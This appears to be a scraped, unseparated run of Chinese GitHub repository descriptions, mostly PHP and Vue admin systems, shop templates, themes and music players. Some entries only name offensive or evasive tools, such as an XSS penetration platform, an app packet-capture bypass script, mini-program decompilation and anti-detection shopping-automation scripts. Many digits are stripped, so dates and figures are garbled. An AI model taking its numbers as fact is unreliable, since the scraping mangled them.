单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 支持白天与黑夜模式 无刷新加载等 阿里云 OSS 官方 SDK 的 Composer 封装 支持任何 PHP 项目 包括 Laravel Symfony TinyLara 等等 此插件将你的WordPress接入本土生态体系之中 使之更适合国内应用环境PHP的服务化框架 适用于Api Server Rpc Server 帮助原生PHP项目转向微服务化 出色的性能与支持高并发的协程相结合基于ThinkPHP V6 开发的面向API的后台管理系统 PHP Swoole 开发的在线同步点歌台 支持自由点歌 切歌 调整排序 删除指定音乐以及基础权限分级信呼 免费开源的办公OA系统 包括APP pc上客户端 REIM即时通信 服务端等 让每个企业单位都有自己的办公系统 来客电商 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 注重界面美感与用户体验 打造独特电商系统生态圈哔哩哔哩 Bilibili B 站主站助手 直播助手 直播抽奖 挂机升级 贴心小棉袄脚本 Lv6 离你仅有一步之遥 PHP 版 Personal 一个运用php与swoole实现的统计监控系统短视频去水印 抖音 皮皮虾 火山 微视 微博 绿洲 最右 轻视频 快手 全民小视频 巴塞电影 陌陌 Before避风 开眼 Vue Vlog 小咖秀 皮皮搞笑 全民K歌 西瓜视频 中国农历 阴历 与阳历 公历 转换与查询工具AoiAWD 专为比赛设计 便携性好 低权限运行的EDR系统 项目管理系统后端接口ThinkPHP 队列支持Typecho Theme Aria 书写自己的篇章PHP 中文工具包 支持汉字转拼音 拼音分词 简繁互转 数字 金额大写 QQ群 17916227Yii2 community 请访问淘客5合一SDK 支持淘宝联盟 京东联盟 多多进宝 唯品会 苏宁基于 thinkphp 开发的的 blogMojito Admin 基于 Laravel Vue Element 构建的后台管理系统一个经典的XSS渗透管理平台一款基于 RageFrame2 的免费开源的基础销售功能的商城基于Laravel 5 4 的开发的博客系统 代号 myPersimmon证件照片排版在线生成器 在一张6寸的照片上排版多张证件照清华大学计算机学科推荐学术会议和期刊列表WordPress响应式免费主题 Art Blog唯品秀博客 weipxiu com 备用域名weipxiu cn 开源给小伙伴免费使用 如使用过程有任何问题 在线技术支持QQ 欢迎打扰 原创不易 如喜欢 请多多打赏 演示 EwoMail是基于Linux的企业邮箱服务器 集成了众多优秀稳定的组件 是一个快速部署 简单高效 多语言 安全稳定的邮件解决方案 笔记本新版简单强大的无数据库的图床2 版 演示地址 Bilibili B 站自动领瓜子 直播助手 直播挂机脚本 主站助手 PHP 版微信群二维码活码工具 生成微信群活码 随时可以切换二维码 短视频的PHP拓展包 集成各大短视频的去水印功能 抖音 快手 微视主流短视频 PHP去水印一个PHPer的升级之路酷瓜云课堂 在线教育 网课系统 网校系统 知识付费系统 不加密不阉割 1 %全功能开源 可免费商用 框架主要使用ThinkPHP6 layui 拥有完善的权限的管理模块以及敏捷的开发方式 让你开发起来更加的舒服 laravel5 5搭建的后台管理 和 api服务 的小程序商城基于ThinkPHP5 AdminLTE的后台管理系统魔改版本 为 OLAINDEX 添加多网盘挂载及一些小修复海豚PHP 基于ThinkPHP5 1 41LTS的快速开发框架挂载Teambition文件 可直链分享 支持网盘 需申请 和项目文件 无需邀请码 准确率99 9%的ip地址定位库laravel ant design vue 权限后台PHP 第三方登录授权 SDK 集成了QQ 微信 微博 Github等常用接口 支持 php fpm 和 Swoole 所有框架通用 QQ群 17916227抖音去水印PHP版接口一个分布式统计监控系统 包含PHP客户端 服务端整合多接口的IP查询工具 基于阿里云OSS的WordPress远程附件支持插件 后会有期 开箱即用的Laravel后台扩展 前后端分离 后端控制前端组件 无需编写vue即可创建一个的项目 丰富的表单 表格组件 强大的自定义组件功能 yii2 swoole 让yii2运行在swoole上胖鼠采集 WordPress优秀开源采集插件CatchAdmin是一款基于thinkphp6 和 element admin 开发的后台管理系统 基于 ServiceProvider 系统模块完全接耦 随时卸载安装模块 提供了完整的权限和数据权限等功能 大量内置的开发工具提升你的开发体验 官网地址 微信公众平台php版开发包微信小程序 校园小情书后台源码 好玩的表白墙 告白墙 功能全面的PHP命令行应用库 提供控制台参数解析 命令运行 颜色风格输出 用户信息交互 特殊格式信息显示基于 chinese poetry 数据整理的一份 mysql 格式数据帮助 thinkphp 5 开发者快速 轻松的构建Api hyperf admin 是基于 hyperf vue 的配置化后台开发工具 微信支付php 写的视频下载工具 现已支持 Youku Miaopai 腾讯 XVideos Pornhub 91porn 微博酷燃 bilibili 今日头条 芒果TVCorePress 主题 一款高性能 高颜值的WordPress主题快链电商 直播电商 分销商城 微信小程序商城 APP商城 公众号商城 PC商城系统 支付宝小程序商城 抖音小程序商城 百度小程序电商系统 前后端代码全部开源 Laravel vue开发 成熟商用项目 shop mall 商城 电商 利用 PHP cURL 转发 Disqus API 请求可能是最优雅 简易的淘宝客SDKUniAdmin是一套渐进式模块化开源后台 采用前后端分离技术 数据交互采用json格式 功能低耦合高内聚 核心模块支持系统设置 权限管理 用户管理 菜单管理 API管理等功能 后期上线模块商城将打造类似composer npm的开放式插件市场 同时我们将打造一套兼容性的API标准 从ThinkPHP5 1 Vue2开始 逐步吸引爱好者共同加入 以覆盖等多语言框架 PHP 多接口获取快递物流信息包LightCMS 是一个基于 Laravel 开发的轻量级 CMS 系统 也可以作为一个通用的后台管理框架使用单点登录系统快乐二级域名分发系统Typecho Theme Story 爱上你我的故事 一个轻量化的留言板 记事本 社交系统 博客 人类的本质是 咕咕咕?微信域名拦截检测 QQ域名拦截检测 t xzkxb com 查询有缓存 如需实时查询请自行部署 高性能分布式并发锁 行为限流Emlog是一款基于PHP和MySQL的功能强大的博客及CMS建站系统 追求快速 稳定 简单 舒适的建站体验Hyperf admin 基于Hyperf Element UI 通用管理后台企业仓库管理系统HisiPHP V2版是基于ThinkPHP5 1和Layui开发的后台框架 承诺永久免费开源 您可用于学习和商用 但须保留版权信息正常显示 如果HisiPHP对您有帮助 您可以点击右上角 Star 支持一下哦 谢谢 使用PHP开发的简约导航 书签管理系统 软擎是基于 Php 7 2 和 Swoole 4 4 的高性能 简单易用的开发框架 支持同时在 Swoole Server 和 php fpm 两种模式下运行 内置了服务 集成了大量成熟的组件 可以用于构建高性能的Web系统 API 中间件 基础服务等等 个人发卡源码 发卡系统 二次元发卡系统 二次元发卡源码 发卡程序 动漫发卡 PHP发卡源码聊天应用 php实现的dht爬虫搭建的webim客服系统 即时通讯一些实用的python脚本同城拼车微信小程序后端代码 一个响应式干净和简洁优雅的 Typecho 主题php仓库进销存深度学习5 问 以问答形式对常用的概率知识 线性代数 机器学习 深度学习 计算机视觉等热点问题进行阐述 以帮助自己及有需要的读者 全书分为18个章节 5 余万字 由于水平有限 书中不妥之处恳请广大读者批评指正 未完待续 如有意合作 联系scutjy2 15 163 com 版权所有 违权必究 Tan 2 18 6题解 记录自己的leetcode解题之路 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 YApi 是一个可本地部署的 打通前后端及QA的 可视化的接口管理平台小程序组件化开发框架网易云音乐 Node js API service基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 book Node js 包教不包会 by alsotang收集所有区块链 BlockChain 技术开发相关资料 包括Fabric和Ethereum开发资料轻量 可靠的小程序 UI 组件库微信小程序商城 微信小程序微店一个可以观看国内主流视频平台所有视频的客户端可伸缩布局方案基于 node js Mongodb 构建的后台系统 js 源码解析磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 